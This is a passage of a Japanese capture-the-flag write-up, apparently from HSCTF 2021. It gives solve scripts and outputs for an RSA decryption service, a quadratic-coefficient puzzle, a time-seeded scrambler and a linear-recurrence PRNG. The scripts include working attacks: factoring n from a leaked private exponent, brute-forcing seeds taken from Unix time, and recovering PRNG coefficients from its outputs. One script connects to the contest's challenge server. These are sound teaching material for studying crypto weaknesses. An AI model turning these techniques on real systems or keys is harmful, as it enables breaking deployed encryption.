n = 26235404728839816384568232229112944350861912169134649184378991273624472846752625084137575810346040874424631296198452642646836251965262822263007629224161448964842181622935479438957871178672376163437475400934051740157277768978708430520486753007974653487179124578729268175548710877995095974957132885972704710939650633386730190552179274183906379253236158652278298144968373943127634105524720154796520667256812784194656264417026944549004558198984549471932484483724831091956430490256650865644523594978105578063113308585002939208178541561285590496438197102168416951152233384600136976906987938956718180133318086054666592138039
e = 65537

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 3
d = 7282119221543938536272345583102576722866915547991644465157670174992794689340021711484301105726609847058279565881045089375293319186110075221422582407139797642849750917845176106231329395779928815616996734949590844945619114324605719816259128796985930414655468746077240602734433977472401710185776039927513792158586487273341983366793905705478373792691757421871561996624584341725078462780376085834087338717860111800961285326139836177072238665425908171327631100960878113720310326280747894460387479067754536806919898893152400219504031837860709760255541986804694219414711682434161428996067732072363759691790592518966743623313

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 4
What private key you like to decrypt the message with?
 : 123
Sorry, that is incorrect.

pow(c,(p-1)*(q-1)/2 + d,n)もmになり、d_%*1!=dの条件をクリアできる。

import socket
import fractions
import random

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

def factor_modulus(n, d, e):
    t = (e * d - 1)
    s = 0

    while True:
        quotient, remainder = divmod(t, 2)

        if remainder != 0:
            break

        s += 1
        t = quotient

    found = False

    while not found:
        i = 1
        a = random.randint(1, n-1)

        while i <= s and not found:
            c1 = pow(a, pow(2, i-1, n) * t, n)
            c2 = pow(a, pow(2, i, n) * t, n)

            found = c1 != 1 and c1 != (-1 % n) and c2 == 1

            i += 1

    p = fractions.gcd(c1-1, n)
    q = n // p

    return p, q

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('regulus-regulus.hsc.tf', 1337))

data = recvuntil(s, '\n: ')
print data + '1'
s.sendall('1\n')

data = recvuntil(s, '\n: ')
print data + '2'
s.sendall('2\n')

data = recvuntil(s, '\n: ')
print data + '3'
s.sendall('3\n')

n = int(data.split('\n')[0].split(' ')[-1])
e = int(data.split('\n')[1].split(' ')[-1])

data = recvuntil(s, '\n: ')
print data + '4'
s.sendall('4\n')

d = int(data.split('\n')[0].split(' ')[-1])

p, q = factor_modulus(n, d, e)
d_ = (p - 1) * (q - 1) // 2 + d

data = recvuntil(s, ': ')
print data + str(d_)
s.sendall(str(d_) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

== proof-of-work: disabled ==

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 1

from Crypto.Util.number import *
import random
import sympy
flag = open('flag.txt','rb').read()
p,q = getPrime(1024),getPrime(1024)
e = 0x10001
n = p*q
m = random.randrange(0,n)
c = pow(m,e,n)
d = sympy.mod_inverse(e,(p-1)*(q-1))
def menu():
    print()
    print("1. Key generation algorithm")
    print("2. Public key")
    print("3. Private key")
    print("4. Decrypt")
    choice = input(": ").strip()
    if choice=="1":
        f = open(__file__)
        print()
        print(f.read())
        print()
        menu()
    elif choice=="2":
        print("n = "+str(n))
        print("e = 65537")
        menu()
    elif choice=="3":
        print("d = "+str(d))
        menu()
    elif choice=="4":
        d_ = int(input("What private key you like to decrypt the message with?\n : "))
        if d_%((p-1)*(q-1))==d:
            print("You are not allowed to use that private key.")
            menu()
        if (pow(c,d_,n)==m):
            print("Congrats! Here is your flag:")
            print(flag)
            exit()
        else:
            print("Sorry, that is incorrect.")
            menu()
    else:
        print("That is not a valid choice.")
        menu()
while 1:
    menu()



1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 2
n = 24198587890972115002609673718437768440776882441607462907308866968588758648610943626580755395073268314458700186589234152931898699485430870091979754359828219842035252317189777076923913517942633211537570585326082335666373769746786438697659300583838958990000837603581143020833634640056909835580743955073297484756062024245837056222323300771006874513212132833246123414150202706032642006792644836053611604528491063931391281122383221309463024000885827865093235587874369031029165072615975986683742530417639697862422929496672156913185457407500071969945129370249981282682205753611778216329147747841908765754801046827439146237711
e = 65537

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 3
d = 9484183416505328989075363216683591256386392456095477245481721118683657394269202099460660132106321160950091902173292467647416726352789681083702213566177085537368471108218817065136756986463745314426263607651948530966118019587652112003724259499160588684516555757596246999910474073645448922543402798877164337602211961296522468846415499451014908740790834831179362568752325966483788643073467284259437410566384660505915231503949697540573941110596625902226576495093405980023720952114496580139883377954437464159856162954535581718517688106345415534029127360670138329544778373263058003169715570915007978235968853198403944059809

1. Key generation algorithm
2. Public key
3. Private key
4. Decrypt
: 4
What private key you like to decrypt the message with?
 : 21583477361991386490380200075902475476774833676899208699136154602978036718574673912751037829642955318179441995467909544113366076095505116129692090746091195458386097266813705603598713745435061920195048900314989698799304904461045331352553909791080068179516974559386818510327291393673903840333774776413813079980086393039304393645674484647642723000411035374880247966796419769828958313343377457281915600558776459454295020631769352755800024941577920610515588870685879461936330934959777323981422289053868439956875810847383795124390414989191314036202819641216717316217988297901791794996657277896571434392059539410032832984665
Congrats! Here is your flag:
b'flag{r3gulus_regu1us_regUlus_regulu5_regUlus_Regulus_reguLus_regulns_reGulus_r3gulus_regu|us}\n'
flag{r3gulus_regu1us_regUlus_regulu5_regUlus_Regulus_reguLus_regulns_reGulus_r3gulus_regu|us}

cyanocitta-cristata-cyanotephra-but-fixed (crypto)

cyanocitta-cristata-cyanotephraの問題とデータが異なるだけで、何が違うのかわからない。同じスクリプトで解ける。

from sympy import *
from Crypto.Util.number import *

with open('output.txt', 'r') as f:
    x_y_sol = eval(f.readline().rstrip())
    a_b = map(int, f.readline().rstrip().split(' '))
    ct = int(f.readline().rstrip())

c0 = Symbol('c0')
c1 = Symbol('c1')
c2 = Symbol('c2')
c3 = Symbol('c3')
c4 = Symbol('c4')
c5 = Symbol('c5')

eq = []
for i in range(9):
    x = x_y_sol[i][0]
    y = x_y_sol[i][1]
    sol = x_y_sol[i][2]
    eq.append(c0 * x**2 + c1 * y**2 + c2 * x * y + c3 * x + c4 * y + c5 - sol)

ans = solve(eq)
c = map(int, [ans[c0], ans[c1], ans[c2], ans[c3], ans[c4], ans[c5]])

a = a_b[0]
b = a_b[1]
f_a_b = c[0] * a**2 + c[1] * b**2 + c[2] * a * b + c[3] * a + c[4] * b + c[5]
m = f_a_b ^ ct
flag = long_to_bytes(m)
print flag
flag{d8smdsx01a0}

scrambler (rev)

pycをデコンパイルする。

$ uncompyle6 chall.pyc
# uncompyle6 version 3.7.4
# Python bytecode 3.8 (3413)
# Decompiled from: Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
# [GCC 8.4.0]
# Embedded file name: chall.py
# Compiled at: 2021-04-16 04:21:48
# Size of source mod 2**32: 860 bytes
import random, time
with open('flag.txt') as (f):
    flag = list(f.read())
if len(flag) % 2 == 1:
    flag.append(' ')
x = ['t', 'Y', 'w', 'V', '|', ']', 'u', 'X', '_', '0', 'P', 'k', 'h', 'D', 'A', '4', 'K', '5', 'z',
 'Z', 'G', '7', ';', 'S', ' ', '/', '6', '%', '}', '\\', ',', ':', '>', '#', 'a', '$', '3', '`',
 '+', 'R', 'b', 'H', 'd', 's', '1', 'J', 'L', 'v', '9', '2', 'o', 'M', '<', 'e', '(', 'x', '-',
 'B', 'm', "'", 'y', 'Q', '"', 'W', 'l', '.', 'i', 'O', '^', 'p', '8', 'f', 'F', 'C', '?', 'g',
 '@', 'j', '[', 'r', '!', '=', 'E', '~', '*', 'T', '{', ')', 'U', 'N', 'c', '&', 'n', 'q', 'I']
random.seed(int(time.time()))
for _ in range(20):
    for i in range(len(flag)):
        flag[i] = x[(ord(flag[i]) - 32)]

else:
    random.shuffle(flag)

for i in range(0, len(flag), 2):
    flag[i], flag[i + 1] = flag[(i + 1)], flag[i]
else:
    print(''.join(flag))
# okay decompiling chall.pyc

UNIXTIMEでseedを設定して、シャッフルしている。UNIXタイムでブルートフォースして、元に戻す。UNIXTIMEはコンパイルした時刻あたりを狙う。

2021/04/15 00:00:00 (GMT) → 1618444800
#!/usr/bin/python3
import random
import string

x = ['t', 'Y', 'w', 'V', '|', ']', 'u', 'X', '_', '0', 'P', 'k', 'h', 'D', 'A', '4', 'K', '5', 'z',
 'Z', 'G', '7', ';', 'S', ' ', '/', '6', '%', '}', '\\', ',', ':', '>', '#', 'a', '$', '3', '`',
 '+', 'R', 'b', 'H', 'd', 's', '1', 'J', 'L', 'v', '9', '2', 'o', 'M', '<', 'e', '(', 'x', '-',
 'B', 'm', "'", 'y', 'Q', '"', 'W', 'l', '.', 'i', 'O', '^', 'p', '8', 'f', 'F', 'C', '?', 'g',
 '@', 'j', '[', 'r', '!', '=', 'E', '~', '*', 'T', '{', ')', 'U', 'N', 'c', '&', 'n', 'q', 'I']

def rev_shuffle(seed, s):
    random.seed(seed)
    x = list(range(len(s)))
    random.shuffle(x)
    d = []
    for i in range(len(s)):
        d.append(s[x.index(i)])
    return d

with open('output.txt', 'r') as f:
    enc = list(f.read().rstrip())

for i in range(0, len(enc), 2):
    enc[i], enc[i + 1] = enc[(i + 1)], enc[i]

seed = 1618444800
while True:
    flag = rev_shuffle(seed, enc)
    for _ in range(20):
        for i in range(len(flag)):
            flag[i] = chr(x.index(flag[i]) + 32)
    flag = ''.join(flag).rstrip(' ')
    if 'flag{' in flag:
        print('[+] seed =', seed)
        print('[*] flag =', flag)
        break
    seed += 1

実行結果は以下の通り。

[+] seed = 1618514508
[*] flag = asdfijoewiafj{opfw2eijafewpoi4jfepoijfweapoifejfpoijep2ofjpoeiwajfae}pox{cnkvo3ivnopifiopnqdfaisjiposdfajifoaiweifjeeeeeewpjwefoipwefjpewofijfepoiwefjpofeijefpwoijeoiejepooeiopew flag{71me5t4mp_fun} ijapdiofjaewp_iojnoewnvpoifpoie_wbpaoibjfpaoiwbfoboawebfbiefaowefbjopiaewfjefeb_anieaiebn_faoebf2a2222aniopni2poabn2fbwnifabwfebnibfaepaebfiabfine2a5ebonfifbw8aeniafbe9asd3npoinxclknvokinawp3oinoink2xclnopinevpaoiwenapoiwev41poiawevnpaowevnapwveovinklnzdvslkvnlknpq3pi

元の文の中にフラグが含まれていた。

flag{71me5t4mp_fun}

agelaius-phoeniceus (crypto)

暗号処理の概要は以下の通り。

・co: 2**63~2**64-1のランダム素数100個の配列
・n : 2**64の次の素数
・s : 1~nのランダム整数100個の配列
・outs配列:空で初期化
・以下200回繰り返し
 ・g.next()の結果をoutsに追加
  ・sとcoの内積%nをsに追加
  ・outsにsの先頭を追加。sからは先頭を削除
・outsを表示
・k: flagの長さを8で割り、切り上げた数だけ、g.next()の結果を16進数で結合し、flagの長さの2倍まで
・kとflagをXORして表示
(s[0]   * co[0] + s[1]   * co[1] + ... + s[99]  * co[99]) % n = s[100], outs[0]   = s[0]
(s[1]   * co[0] + s[2]   * co[1] + ... + s[100] * co[99]) % n = s[101], outs[1]   = s[1]
                            :
(s[99]  * co[0] + s[100] * co[1] + ... + s[198] * co[99]) % n = s[199], outs[99]  = s[99]
(s[100] * co[0] + s[101] * co[1] + ... + s[199] * co[99]) % n = s[200], outs[100] = s[100]
(s[101] * co[0] + s[102] * co[1] + ... + s[200] * co[99]) % n = s[201], outs[101] = s[101]
                            :
(s[199] * co[0] + s[200] * co[1] + ... + s[298] * co[99]) % n = s[299], outs[199] = s[199]

前半100個の式ではs[0]~s[199]があれば連立方程式になり、co[0]~co[99]を求めることができる。あとはkを算出して、XORをとればフラグになる。

#!/usr/bin/sage
import binascii

class prng:
    def __init__(self, co, s, n):
        self.co = co
        self.s = s
        self.n = n

    def next(self):
        self.s.append(vector(self.s).dot_product(vector(self.co)) % self.n)
        return int(self.s.pop(0))

with open('output.txt', 'r') as f:
    outs = eval(f.readline().rstrip())
    enc = binascii.unhexlify(f.readline().rstrip())

n = int(next_prime(2**64))

S = []
for i in range(100):
    row = []
    for j in range(100):
        row.append(outs[i+j])
    S.append(row)
S = matrix(Zmod(n), S)

OUT = []
for i in range(100):
    OUT.append([outs[i+100]])
OUT = matrix(Zmod(n), OUT)

CO = S.inverse() * OUT
co = [CO[i][0] for i in range(100)]

s = outs
for i in range(100):
    val = 0
    for j in range(100):
        val += s[i+j+100] * co[j]
        val %= n
    s.append(val)
s = s[-100:]

g = prng(co, s, n)
k = ''.join([hex(g.next())[2:].rstrip('L').zfill(16) for i in range(ceil(len(enc) / 8))])[:len(enc) * 2]
flag = ''.join([chr(int(k[i*2:i*2+2], 16) ^^ ord(enc[i])) for i in range(len(enc))])
print flag
flag{if_i_had_a_nickel_4or_ev3ry_st0re_h3re_1n_town_with_a_fu11_suit_of_armor_0ut_in_front_i_would_have_two_nickl3s_wh1ch_isn't_a_l0t_but_it's_weird_that_we_h4ve_tw0}

hsctf-survey (misc)

アンケートに答えたら、フラグが表示された。

flag{thanks_for_participating_in_hsctf!}

*1:p-1)*(q-1